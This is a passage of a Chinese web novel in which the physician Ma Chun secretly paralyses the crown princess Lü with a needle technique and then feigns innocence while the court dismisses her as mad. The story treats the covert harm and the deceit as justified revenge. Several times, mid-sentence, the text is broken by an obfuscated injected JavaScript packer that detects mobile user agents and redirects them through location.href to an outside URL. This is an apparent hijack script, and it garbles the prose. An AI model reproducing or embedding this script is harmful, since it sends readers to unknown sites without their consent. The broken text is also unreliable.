她扶着妇人坐下,又仔细叮嘱道:“还有,饮食务必清淡,忌食油腻。房事暂停一阵。勤换洁净宽松的内裤,用过的毛巾、盆具要常煮晒。”
妇人听得认真,不断点头:“我记住了……都记住了……”
徐妙云看着她逐渐恢复血色的脸,补了一句:“药膏用完若未好利索,再来找我。”
妇人紧紧抱着药,千恩万谢,脚步轻快地离开了。
仿佛卸下了千斤重担。
门外等候的几个病患不明所以,只看见一个妇人哭着进去,红着眼出来,却又像得了天大的喜事。
彼此交换着好奇的眼神。
徐妙云坐回诊案后,脸上依旧平静无波。
她翻开脉案,继续书写。
诊室外,一位候诊的老妇看着刚才离去的妇人背影,忍不住低声对旁边的人说:“看马夫人的气度,真是菩萨心肠……刚才进去时那脸白的哟……”
……
第153章死不悔改!那我就不客气了!!
小青村,医馆。
马淳刚送走两个病人,东宫的内侍就急匆匆跑来。
“国舅爷!不好了,太子妃娘娘病重,殿下传您速去。”
马淳和徐妙云对视一眼,心中了然,“是殿下传召,还是娘娘?”
内侍不解,“这不都一样吗?”
马淳和徐妙云更明白,按照吕氏那性格,应该是猜中是自己下了手,所以宁死也不可能让自己去治病,估计也是害怕自己会再次下黑手。
那就肯定是太子殿下传召。
不过也好。
“走吧!”马淳收拾好东西对内侍道。
上了去东宫的马车,很快就进了宫。
……
东宫!
东宫的床榻暖帐厚重如茧,吕氏却缩在锦被深处抖得厉害。
连续七日的眩晕呕吐抽空了她浑身精气,手腕红疹褪去后留下密密麻麻的暗痕,像爬了满臂的虱子印。
恶心感随呼吸起伏,从喉咙深处往上顶,胃里火烧火燎,可什么都吐不出来,只剩一股腥苦的浊气缠绕舌根。
死寂的内殿门猛地被推开一线,敏娘仓惶的身影挤进来,声音抖得不成样子:“娘娘……殿下……殿下请了徐国公入宫!”
“什么?!”吕氏倏然抬头,蜡黄脸孔上的眼珠暴凸出骇人红丝。
这声吼几乎撕破她嗓子,她猛地扑到床沿,手背青筋狰狞毕露,“他为什么!?”
她想过千万遍,哪怕活活呕死在这里,也绝不让那姓马的踏进东宫半步!
这是她最后一点摇摇欲坠的尊严,此刻被朱标轻飘飘一掌碾得粉碎。
敏娘噗通跪倒:“殿下一早听闻您仍不见好,直接下旨宣召了国公啊!国公爷……已往这边来了!”
吕氏胸口剧烈起伏,一股更强烈的眩晕猛砸上头顶,天旋地转里只听见自己牙齿咯咯打颤的声音,冷,**,恨意毒汁般混着喉头腥气翻腾。
最终,她喉咙里发出一声困兽般的呜咽,身体却颓然软倒回去,不再挣扎了。
完了,脸面彻底被人剥下来,踩在脚底了。
脚步声由远及近,沉稳有力。
明黄盘龙袍角拂过门槛,朱标立在暖阁入口。
他面色忧虑,眼睑下带着操劳的青影,显然这连日忧虑并未作假。
马淳落后半步恭敬随行,一袭太医青袍,眉眼平静无波。
朱标径直走到榻前数步处停下,声音低沉:“人已浑噩至此,竟还要强撑!若非孤问起敏娘……”
见榻上的吕氏凌乱的鬓发、灰败的面容,眉头拧得更紧,“国舅,务必诊个分明。”
他侧身让开一步。
马淳略一躬身:“微臣自当尽力。”
他上前,探手准备号脉,就在他指尖即将搭上寸关的刹那,吕氏霍然抽回手!
浑浊发红的眼珠子死死盯住他,“你……滚出去!”
唾沫星子喷溅而出,“徐国公……好大的本事啊!”
她喘息着,嘴角扭曲地往上扯,“本宫就算今时今日躺倒在这里……你也休想……休想……折辱……”
看她这样子,那是一点改过的想法都没有。
既然是这样,那就不要怪自己不客气。
这种人不搞怕,她是不会收手的。
旁边朱标脸色骤沉,还未开口,马淳已然从容起身,微微躬了下腰,避开了那污浊的唾沫。
他动作平缓至极,“娘娘病中混沌,忧思过甚,有癔语之兆。”
马淳转向朱标,语气平稳得像在陈述“今日有雨”,“此症为风邪缠厥,兼挟肝风内扰。神昏谵语,正是热毒攻心、五内不宁所致。需立即调治舒泄内风,稳固本元。”
吕氏那张因为愤怒而扭曲的脸僵住了一瞬。
癔语?
他说这是癔语!
一口腥血堵在喉咙口,她喉咙里格格作响,却再也骂不出一个字。
朱标闻言,眉峰聚拢如剑,审视的目光投向妻子。
那份狂乱癫怒,确实失了体统。“依国舅看,如何用药?”
马淳打开随身的药囊。
动作不疾不徐。
他取出一个扁长的檀木针盒,推开盒盖,里面乌沉沉的针具寒光内蕴。“当务之急,需泄邪热于外,通闭阻于厥阴。施针,取百会清神,泄大椎散风。”
马淳的话字字清晰落在吕氏耳中,却冰冷坚硬如铁石,“再辅以金匮肾气汤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931194|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温固下元,合安宫牛黄半丸以开窍熄风。汤药须现煎,银针,即刻便下。”
朱标颔首:“准。立刻去备汤药。”
他朝身后内侍下令。
女官敏娘忙端来温水和净布,绞了热巾欲为吕氏擦拭额角准备施针。
吕氏猛地扭头,避如蛇蝎。
那双死盯着马淳的眼睛,怨毒几乎凝成实质。
“娘娘,得罪了。”马淳的声音听不出任何情绪。
针盒打开。
他选的那一枚三棱针,细如毫芒,锋尖处一抹极其清浅的银亮。
另一只手掌根温热,无声无息地贴上吕氏左边腿膝外侧一个点。
隔着薄薄的中衣,指尖力道极精准地一按。
那一按并不重,位置也绝非剧痛处。
可就在触及的瞬间,吕氏猛地像被无形的尖锥狠狠刺穿了下肢筋络深处!
一股尖锐到无法形容的锐痛,顺着膝腿急速窜上,直撞小腹!
她眼前骤然一黑,身体绷紧,像离水的鱼,喉咙里本能发出半声短促凄厉的抽气。
就在此刻!
拈着银针的手,轻描淡写地递出。
针尖点入膝盖外侧,一个极其生僻的穴窍。
角度刁钻,深没分寸恰到好处。
针身只有极其细微、非人目力可察的轻颤。
呃啊——!
左膝处猝然爆开的剧痛与酸麻,压过了先前那点痛楚,吕氏瞬间弓身惨叫出声。
女官们吓得手足无措。
马淳的手指却早已离开按压点。
他目光专注落在那枚刺入穴道的银针上,捻转针尾,动作娴熟,如同只是在进行一次最普通的温针导气。
暖阁里死寂一片,唯有吕氏粗重的喘息声。
“娘娘忍耐片刻,散风通络,稍有刺痛是邪气出路。”他平和道。针尖下探寸许,停留。
吕氏身体筛糠般抖着,冷汗瞬间浸透了鬓角。
她可不这么想,她只有一个念头,一定是马淳在故意整她。
当然她猜得没错,刚才那几下马淳就是故意整她的。
那剧痛来得快,去得更快。
针停,剧痛便陡然消失得无影无踪。
……
第154章一针扎瘫吕氏!!
她瘫软在枕上大口喘气,仿佛刚从鬼门关爬回,眼神涣散失焦。
“觉得如何?”朱标急问。
吕氏无力地闭了闭眼,嗓子哑得发劈:“……不……不痛了……”
马淳适时轻捻慢提,将银针缓缓退出。
针尖离体,带出一点极微末的血珠。
他取出干净布巾,手法利落地擦拭针身血迹,复又将它稳稳收归檀木针盒。
“邪热已暂泄,稍后汤药服下,当可宁神。”他转向朱标,“殿下放心,娘娘此症看似凶险,实为风邪困郁之象。针药合力,根基无损。悉心静养几日,自当无碍。”
他又对一旁惊魂未定的敏娘嘱咐:“娘娘受风已久,左腿略受阻滞,需每日揉按阳陵泉、三阴交诸穴,半刻即可活络。三日内切莫受风寒湿气,尤忌惊怒忧思。”
话语字字清晰,落进榻上吕氏耳中,只觉字字刺心。
朱标面色稍霁,看着妻子脸上似乎退了些狂躁,神色也舒缓了些,便道:“如此便好。有劳国舅费心。这几日东宫上下,务必好生侍奉,再出纰漏,严惩不贷!”
威严的目光扫过跪伏一地的女官内侍。
五日后,东宫。
拂晓天色灰白。
内殿尚燃着助眠的安息香,吕氏悠悠醒转。
连续几日的汤药调理,将那蚀骨缠身的眩晕呕吐压了下去。
虽仍虚弱无力,可那股日夜翻腾的恶心已平,身上也有了丝力气。
这日清晨,她竟觉得脑子清醒了不少,多日被病气窒闷着的心口也松快了几分。
难道那混蛋真有这么好心,给我治好了?
哼!
就算治好了!那也肯定是那野种故意为之。
你们两个等着,本宫不把你们弄得身败名裂、生不如死,我就不当这个太子妃。
“更衣。”她哑声吩咐。
敏娘立刻扶她起身坐到暖榻边缘,另两名宫女捧着备好的温热巾帕及漱口清茶上前。
刚净了面漱了口,吕氏想自己挪动下腿下榻站立。
多日病卧,筋骨都有些僵了。
她习惯性地身体重心微微转向左侧,左脚轻抬欲点地支撑。
就在此时!
那承重的小腿仿佛瞬间抽空了所有骨血!
左膝以下像被锋利的快刀齐齐斩断了感知!
没有任何预兆,没有任何先兆的酸麻痛楚,就是一片彻底的、冰冷窒息的空白!
噗通!
沉重的闷响撕碎了内殿静谧!
宫女们惊恐尖叫尚未出口,吕氏整个人已结结实实、无比狼狈地从暖榻边缘一头栽向冰冷坚硬的金砖地面!
“娘娘——!!”
混乱中不知谁的手肘撞到了榻边搁着的玉胎描金托盘。
哐啷——!
锵……锵……
碎裂声清脆刺耳,久久回旋。
那托盘上御赐的白玉镶金手镯,断成数截。
吕氏歪倒在冰冷刺骨的金砖上。
额头猛地磕了个青紫大包,眼冒金星。
更可怕的是下半身。
右边身体撞地的剧痛尚能清晰感受,可左边……左边那条腿!
从腰臀到足底,彻彻底底地消失了!
只剩一片空空荡荡的死寂!
仿佛被凭空砍掉了一半身子!
“我的腿……我的腿!!”她仰起脸,喉咙里爆发出非人般的尖利嘶吼。
惊惧与剧痛瞬间掐住了她每一根神经,那张刚刚恢复了些许人色的脸因恐惧和难以置信而扭曲得狰狞可怖。
“摸它!快摸!它是不是没了?!!”她发了疯似地用手去抓、去捶打自己的左腿、左膝、左胯。
皮肉是暖的,腿骨尚在,可她的大脑却接收不到丝毫关于这条腿存在的信号。
每一次捶打,都如同捶在一截与自己毫不相干的死木上!
女官们魂飞魄散地扑过来想扶,却被她失控的抓打推搡开。
“动!给我动啊!!”她嘶喊着,手指死命掐向左腿皮肉,指甲深深陷进肉里,试图用这自残的痛苦来确认它尚在。
可没有,除了表皮撕裂的锐痛,深部仍是一片死寂的虚无!
那只腿,无知无觉地摊在冰冷的金砖上,像被遗弃的累赘。
朱标闻讯撞开内殿大门闯进来,正看见太医署当值的吴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931195|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
医官半跪于地,手托银针,眉头紧锁,小心探查推拿着吕氏那只“瘫死”的左腿。
可无论他如何捻刺下针或揉穴过血,那条腿都毫无反应,如石雕朽木。
而吕氏蜷在锦被上披头散发,涕泗横流,眼珠赤红,嘴里颠来倒去只剩两个疯狂的字眼:“是他……是姓马的……是马淳……”
“太医署副院判如何说?”朱标还记得舅舅说过,太子妃因为邪风入体,有时候会胡言乱语。
所以对于她直呼舅舅的大名这件事,朱标也没当回事。
吴医官额角冷汗涔涔,伏地不敢抬头:“启、启禀太子殿下……太子妃娘娘此症……实为罕见……筋脉闭阻之急骤,酷似‘尸厥’或‘风痹入髓’之暴发之象……然……然脉象并无厥脱之险……微臣……微臣……”
他语塞不敢言,脉象并未见死绝之兆,可这腿……就是彻头彻尾地**!
“滚出去!废物!全是废物!”吕氏拂袖怒喝,胸膛起伏。
朱标没理会吕氏的发疯。
“是风寒内陷,引动宿疾?是积郁内伤,风毒作祟?”他询问,“还是……有阴微之祸?”
死寂里,唯有吕氏控制不住的、撕心裂肺的哭嚎和那绝望的嘶喊反复回荡:“……是他……是马淳扎瘫了我的腿!是他啊——”
声音尖利,字字泣血。
可听在旁人耳中,却更似被这场突如其来的大祸碾碎了心神、无法承重而生的……癫狂呓语。
这也能理解,突然瘫了,遭受这么大的打击,加上前些天风邪入体。
接连的病痛折磨,谁都会疯的。
当然朱标也不傻,其实不管是宫中还是民间都有风言风语。
都在说本来如果皇长孙朱雄英病逝,那皇次子朱允炆就有机会被立为皇太孙。
只是可惜,神医马淳出现之后将吕氏的如意算盘给搅和了,所以她恨马淳朱标也能理解。
只是他愤怒的是,明明舅舅已经帮你治好了风邪入体,你不说声谢谢也就罢了,现在居然说孤的舅舅扎瘫了你的腿?
这世间安有这种手段?
……
第155章吕氏疯了!连太子都不信她!!
天色已近黄昏,马淳回到医馆时,院内已点起灯火。
推开门,徐妙云正坐在灯下缝制一件小小的婴儿衣物。
见他进来,她放下针线,迎上前。“回来了?”
她接过他褪下的外袍,“东宫情形如何?”
马淳在桌边坐下,端起温着的茶喝了一口。“吕氏,毫无悔意。”
他声音平静,“我出针时,她眼神里的恨,藏不住。她甚至当着太子的面,直斥于我。”
徐妙云眉头微蹙,走到他身边。“那太子殿下……”
“殿下信我医术,也更信吕氏是病中心神狂乱,风邪侵扰。”马淳解释道,“她那些指摘,落在太子耳中,与癫狂呓语无异。”
徐妙云默然片刻。
“你动手了?”她轻声问,眼神了然。
“嗯。”马淳点头,眼神锐利了一瞬。“我曾在《秘脉玄枢注》中见过一个极僻的古法记载,此法并非**术,却比死更煎熬。针名‘隐痹’,取穴极偏,在‘筋缩’与‘合阳’连线中点的凹陷暗穴上,亦称‘跛踵’。”
他展开右手,指尖虚点。“位置很深,需透肤一寸二分,直抵筋膜交汇的关窍之处,以特殊指力捻入,可瞬间闭锁半身筋络气血的运转通路。
“外表无痕,脉象上只会显示为风痹急发。其效……”马淳顿了顿,“便是如她眼下,左半身,形同朽木,无知无感。”
徐妙云了然:“所以她瘫了?”
“不错。”马淳道,“常人看来,便是突患恶疾。无药可解,无方可循。医者不明其理,也只会当作奇症处理。”
“此针能解吗?”徐妙云追问,并非同情,而是须明丈夫手段边界。
“能。”马淳回答肯定,“解穴须以独门手法,配合金针透穴,刺入另一个与‘跛踵’互为锁钥的秘穴‘灵墟’,且劲道需得巧妙精准,差之毫厘,闭塞便成永久。此法记录早已失传,世上能解者……”他抬眼看向妻子,“怕是寥寥无几。”
徐妙云眼底闪过一丝复杂,随即化为平静。,“她咎由自取。若非一直存着害人之心,更图谋雄英你也不会用此非常手段。”
“只是……”她担忧地看着丈夫,“若太子日后细究起来……”
“放心。”马淳握住她的手,“《秘脉玄枢注》乃是孤本残卷,早已不存于世,其内容只记在我脑中,吕氏瘫了,只会被看作是她气急败坏、肝风上扰、急中风邪的结果。
“再好的御医,也只能诊出个‘风痹入髓’。至于何时能好,那就‘因人而异’了。这次,便让她尝够做个‘活**’的滋味。”
徐妙云反握住他的手,用力捏了捏。“也好。让她切身明白,害人的代价。瘫一阵子,好过她手脚完好,却日日算计如何把别人弄瘫弄死。”
马淳疲倦地揉揉眉心。
这一天的周旋,耗费心神。“晚饭好了吗?折腾大半日,真饿了。”
“早备好了。”徐妙云起身,温柔道,“我这就去端来。再给你温壶热酒,祛祛乏。今日你做得很好,既护住了该护的,也让她得了应有的‘报应’。”
马淳看着妻子走向厨房的背影,昏黄的灯光勾勒出她微隆的腰身。
他拿起桌上那件未完成的婴儿小衣。
手指轻轻抚过柔软的布料。
眼神变得无比坚定。
他所做一切,皆为守护。
医术可救人。亦可止杀。
对付如吕氏这般死不悔改、心如蛇蝎之辈。
这样的惩戒,他觉得并不过分。
甚至远远抵偿不了她所造业障,“瘫着吧。”
他在心中低语。“好好享受这份‘安宁’。”
……
几位太医署资历最老的御医围在吕氏的床榻前,额角都沁着冷汗。
他们已经轮流号脉、检查了小半个时辰。
太子朱标负手立在一边。
他能看到吕氏歪在枕上,一条腿无力地摊着。
终于,为首的张太医直起身,嘴唇翕动了几下,对着朱标深深一揖,“殿下……娘娘此脉象……滑而滞涩,却非沉绝,左尺尤显空乏。观其腿足失用,皮温略低,触之无知,却无红肿挛缩……”
他艰难地组织着语言,身旁另一位专攻经络的李老太医接口道:“确是如此。臣等遍查古籍,痹症、风瘫之兆或有相似,然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931196|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
则发病之骤、部位之偏、毫无前兆痉挛或疼痛,实属罕见。无中风‘中脏腑’之昏厥口眼歪斜,亦无‘中经络’之麻木渐进……倒似……”
老太医顿住了,似乎想不起更贴切的形容。
吕氏空洞的眼珠猛地转动,死盯着那群束手无策的老朽,尖叫:“什么‘倒似’!就是马淳!是他!你们去问他!就是他那一针扎瘫了我!那根针!就在膝盖上!你们找啊!”
她的声音尖利刺耳。
太医们下意识地缩了缩脖子。
朱标眉头紧锁,大步走到床前,沉声道:“阿云!慎言!莫再惊扰心神!”
他试图用妻子的小名安抚。
“殿下!他们不信我!”吕氏像抓住救命稻草般攥紧朱标的袖口,“就是扎针的时候!那痛!那股阴冷!像是把什么东西冻死在里面了!你让他们去问马淳!他一定知道!”
朱标的衣袖被拽得绷紧,他强压下心中的一丝不耐和疑虑。
舅舅医术通神,但以针**无形?这太过匪夷所思。
“太医们不正在会诊?”朱标尽量放柔声音,“你且宽心,孤定让他们寻出病因。”
“病因?”吕氏几乎要破音,“病因就是那个野种!他怕我!他记恨我!他用这种毒手!殿下去问他!殿下传他来!让他来治!他扎瘫的只有他能治!他巴不得看我笑话!”
她越说越激动,唾沫星子飞溅,眼中血丝密布。
朱标的脸色终于沉了下来。
又是舅舅!
每次清醒时就揪住舅舅不放!
母后和雄英的病,若非舅舅出手……
还有魏国公、曹国公、靖海侯等等达官贵人。
那些病在别人面前都是无法治愈的,可是在舅舅手里都被治愈。
现在所有人都将舅舅当做神仙供着。
那可是第二条性命啊。
可唯独到了自己的妻子这里,舅舅就成了十恶不赦的恶人,那到底是谁的错就不言而喻了。
朱标闭了闭眼,强行压下翻腾的思绪。
眼前的指控,更像是一种固执的迁怒和……
对骤然瘫痪带来的巨大打击导致的疯魔联想……
第156章满城风雨!大家都知道太子妃疯了
一旁的张太医见状,硬着头皮上前:“殿下息怒,娘娘息怒。臣等仔细查验过了娘娘当日被施针之处……”
他指着吕氏膝盖外侧一个极其细微、早已结痂的点状痕迹,“这确系施针留下的针眼,然位置寻常,乃‘阳关’之侧,针入三分调气助眠、舒筋活络,绝无可能……绝无可能造成此等‘毁经断脉’之重创。
“国公爷当日施救,手法精熟,针后娘娘风邪之症立缓,何来……加害之说?况且……”他声音低了下去,“国公爷行医济世,坊间皆称‘活菩萨转世’,岂会……”
另一位王太医也低声补充道:“殿下明鉴。遍览古今医案,亦无仅凭一针便即时废人半身之能。
“此症,实乃臣等生平仅见,或为风邪入络奇变,或为先天隐疾骤发。臣等斗胆以为,此际……此际若能得徐国公再为娘娘详诊,或可……”
“住口!”没等太医说完,吕氏已发出凄厉的尖叫。
她抓起床头温着药的青玉碗,用尽全身力气朝声音的方向砸去!“滚!都给我滚!一丘之貉!都是他的狗!想骗我引狼**?想让他再来害我?!我死也不要见他!你们想都别想——”
药碗砸在金砖上,应声而碎,滚烫的药汁混着碎玉四溅。
太医们吓得连连后退,匍匐在地。
所有人都被吕氏这骤然爆发、完全不似伪装的歇斯底里骇住了。
朱标也吓了一跳,看着妻子扭曲惊惧的脸,心头最后一丝疑虑也压了下去。
这哪里是控诉?
这分明是被噩梦魇住、被无边恐惧吞噬的疯狂。
他更相信先前张太医那句“癔语”的诊断了。
“够了!”朱标的声音陡然拔高,“太子妃病中虚弱,神智昏聩,受不得刺激。尔等退下!速去拟定稳妥药方,固本培元!不得再提惹娘娘惊惧之言!”
“殿下……”吕氏挣扎着想说什么,却被朱标严厉的眼神制止。
“你好好休养。”朱标的语气不容置喙,“太医署上下尽力为你诊治。至于国舅……他正为雄英调理善后,此刻不便惊动。你也要安心静养才是。”
他抬手,示意早已吓得面无人色的敏娘等人上前照看,声音缓和了些许,“孤去看看雄英的功课。”
他转身离开,太医们如蒙大赦,悄无声息地退了出去。
只剩下吕氏徒劳嘶哑的喃喃:“……是他……只有他……你们都不信……你们都被骗了……”
朱标离开吕氏寝殿,脚步有些沉重,“让太医按诊出的病症开药,务必用最稳妥温和的方子。另外去库房里挑几件上好的药材和滋补品,晚些时候亲自送去国舅府上。只说太子妃静养,不便叨扰,感谢国舅费心照顾雄英。态度要恭敬,明白吗?”
“奴婢明白。”内侍躬身应道。
朱标长长叹了口气,揉着发胀的太阳穴。
无论舅舅是否知情,吕氏这般无休止的攀咬和指摘,已不仅是家丑,更是对舅舅名声的污蔑。
太子妃疯了——这个念头一旦浮现,便如野草般在他心头蔓延滋长。
他必须安抚住舅舅,不能让这流言毁掉舅舅救回雄英的功劳和人心,更不能……动摇他对舅舅的信任。
……
东宫深处,吕氏瞪大空洞的双眼,视线死死锁着自己那条毫无生气的左腿。
刚才太医们离开时的眼神,朱标强压不耐的安抚,还有那些模糊提到马淳名字时的闪躲……
一切都让她明白,无人信她。
所有的指控,在他们眼里都只是癔症者的狂语。
没有人去细究那刺骨阴冷的来源,没有人真的认为那位救苦救难、如同菩萨化身的“马神医”会做出这等事。
“呵呵……”一声低沉、充满绝望恨意的笑声从她喉咙深处挤出来。
原来如此!
这就是马淳的手段!
他根本不怕被指认!
因为他比任何人都清楚,没有人会相信这世上有仅凭一针就立刻废人半身的技艺。
他算准了,所有人只会当她疯了!
瘫着?
不,马淳要的不只是她瘫痪!
他要她被最深的恐惧日夜折磨,要她在所有人看疯子一样的目光里慢慢腐烂,要她每一次想开口指控都被当作疯话堵回!
他要她生不如死!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931197|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>比直接弄死她,更让她痛!
“马淳……”她用尽最后一点力气,“……徐妙云……”
……
医馆。
徐妙云正用细纱布过滤药汁,马淳伏在案前写方子,。
帘子突然被一只粗粝的手撩开。
“马兄!嫂子!”傅忠洪亮的声音撞了进来。
他小心搀着一个腹部隆起的胡氏。
胡氏面色红润,发髻梳得一丝不苟,被傅忠扶着的手臂却绷得有些紧。
“慢着点!”傅忠扶着妻子在诊椅坐下,自己才喘了口气,擦了把额头的汗,“内子这身子,六个月了,想着再来请马兄瞧瞧才安心。”
他目光扫过妻子紧绷的腰背,声音下意识放轻:“腰疼得厉害……半夜常睡不实。”
马淳放下笔,净了手,走过来。“六个月正是腰背吃重的时候。侧卧时膝下垫个软枕会好些。”
他三指搭在傅忠妻子胡氏的腕脉上,片刻,又仔细问了饮食和起夜次数。
“胎气稳固,就是母体虚劳些。”马淳示意徐妙云取了个腰枕过来,“用这个靠着坐。我再开两剂药膳方子,温和补气,不伤胎元。”
傅忠妻子感激地点点头,捧着腰枕小心调整坐姿,微蹙的眉头松开了些。
傅忠见妻子安顿妥当,脸上闲不住的笑意又冒了头。
他凑近马淳,压低嗓子,眼里闪着兴奋。“马兄,嫂子,你们还不知道吧?东宫那头,出大事了!”
胡氏立刻用手肘轻轻捅了他一下,眼神带着嗔怪:“你呀!”
傅忠嘿嘿一笑,没退开:“就闲聊几句嘛!是太子妃娘娘!”
他神秘兮兮地往前探身,“瘫了!就在自个儿宫里瘫的!”
马淳和徐妙云两个人同时装出一副很惊奇的样子。
“瘫了?”徐妙云抬头,恰到好处地露出几分惊诧,“什么时候的事?前些天还好好的,怎么突然……”
傅忠一拍大腿:“谁说不是呢!就前几日!”
他声音压不住那股子亢奋,“宫里头传得厉害!说是好端端的一个人,突然间,半边身子就没了知觉!吓人得很!”
……
第157章马淳屡立奇功,你污蔑国戚,该死
“太医署那些老爷子轮着上阵,诊完脉都束手无策。”胡氏抚摸着肚子,也忍不住接话,带着妇人间特有的忧虑,“都说是‘奇症’,怕不是撞了邪风入髓?可听着也古怪……”
傅忠连连摆手:“最古怪的不是这个!你们猜怎么着?那位娘娘,口口声声咬定——是马兄害了她!说就是你扎针的时候,把她扎瘫的!”
“啊?!”徐妙云手里的药包差点滑落,一双美目圆睁,全是难以置信的震惊,“我家夫君?怎么可能!他治人都嫌来不及,何曾起过害人的心?更别说那是太子妃娘娘!”
马淳也放下茶杯,眉心紧锁,像听到了天方夜谭。“傅兄,这话可不敢乱说。给太子妃娘娘施针,是遵旨而行,祛风散邪是根本。当时殿下就在眼前,众多宫人侍立,众目睽睽之下,我如何能行此悖逆之事?”
他语气坦荡,带着医者被污蔑的困惑和不快,“这等奇冤……殿下那边,难道也……”
“嘿!”傅忠哼笑一声,“太子爷精着呢!压根不信她!”
他喝了口茶,撇撇嘴,“依我看,太子妃真是魔怔了。马兄你救大殿下、为朝廷立下大功的菩萨,谁不知道?她偏要说是你害她。这话说出去,谁信?”
胡氏也叹了口气:“就是。咱们都在宫外,消息慢一步都听说了,那会儿给娘娘施针时,她人就有点癫狂,疯言疯语的。这怕是……是真疯了吧?”
徐妙云轻轻拍着胸口,一副心有余悸的样子:“吓死我了。这样攀污的话传出去,我夫君的清名……”
她看向马淳,眼中是浓浓的‘忧惧’。
马淳伸手过去,安抚地握了一下她的手背。
马淳看向傅忠,脸上是无奈混杂着怜悯。“傅兄,这等事休要再传了。娘娘如今身罹怪疾,身不由己,心绪不稳也是常情。言语错乱,胡言妄语,怕是病中煎熬所致。”
他摇摇头,“病痛缠身,难免心结郁结,失了方寸。”
语气诚恳,带着医者面对疑难杂症时的沉重和理解,仿佛对那指控背后的“疯话”,只感到深深的惋惜。
傅忠立刻点头:“马兄说的是!我懂!我们两口子也就在你这儿才敢悄摸说两句。就是觉着她这念头太邪乎,好赖不分!马兄这样的活菩萨,她都要攀咬,这不是自找的劫数嘛!”
胡氏也跟着点头:“就是,神仙也救不了这自走绝路的心。”
马淳提起笔,低头去开那药膳方子,徐妙云也垂眸,重新整理着手边的药包。
两人都没再说什么。
傅忠夫妇互看一眼,也默契地安静下来。
傅忠的目光扫过徐妙云微微隆起的小腹,又看了看自己的妻子,脸上憨厚的笑容又溢开来:“嫂子你这月份,害口可好?我家这个最近,就稀罕口辣的……”
正絮絮说着家长里短,傅忠的妻子突然“哎哟”一声轻呼。
“怎么了?”傅忠立刻紧张地靠过去。
他妻子低头看着腹部,脸上先是惊诧,随即被一种奇异的光彩取代。
她伸手轻轻按在隆起的某处,感受到下方传来清晰的、柔韧的顶动。
“动……动了!”她抬头,带着初觉胎动的惊喜和羞涩,“刚才它……踹了我一脚似的!”
那股子谈论东宫秘闻的紧张兴奋,瞬间被新生命萌动的暖流冲刷得干干净净,只剩惊喜。
……
送走傅忠夫妇,医馆重归宁静。
马淳合上药柜,发出轻响。
徐妙云拿起未缝完的小衣,唇角微弯。
“难得清静。”她指尖引着线,“傅忠,倒稳重不少。只是这爱打听的劲头,还是没改。”
马淳走到她身边,手掌温存地抚上她微隆的小腹,“若非吕氏自顾不暇,这般清静怕是奢望。”
徐妙云抬头,眼底澄澈:“她如今寸步难移,东宫倒安稳了。害人者终害己,天理昭昭。”
“咎由自取罢了。”马淳语气平淡,无一丝波澜,“她几次三番对咱们下手时,何曾想过手下留情?”
徐妙云莞尔,低头继续针线:“也是。只是她这般攀咬你,总归要生些事端。”
“跳梁小丑。”马淳看着窗外,“由她。”
……
东宫。
皇帝朱元璋步履沉稳,马皇后紧随其后,内监躬身疾行推开东宫暖阁厚重的门。
吕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935090|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
氏形容枯槁,歪在锦榻上。
左腿无力地搭着,像截死木。
敏娘及宫人伏跪一地,大气不敢出。
一见帝后身影,吕氏死水般的眼中陡然迸出骇人的光。
她不待宫人搀扶,竟用一手一腿挣扎着滚下床榻,笨重地扑跪在冰冷的地上,额头咚一声磕响。
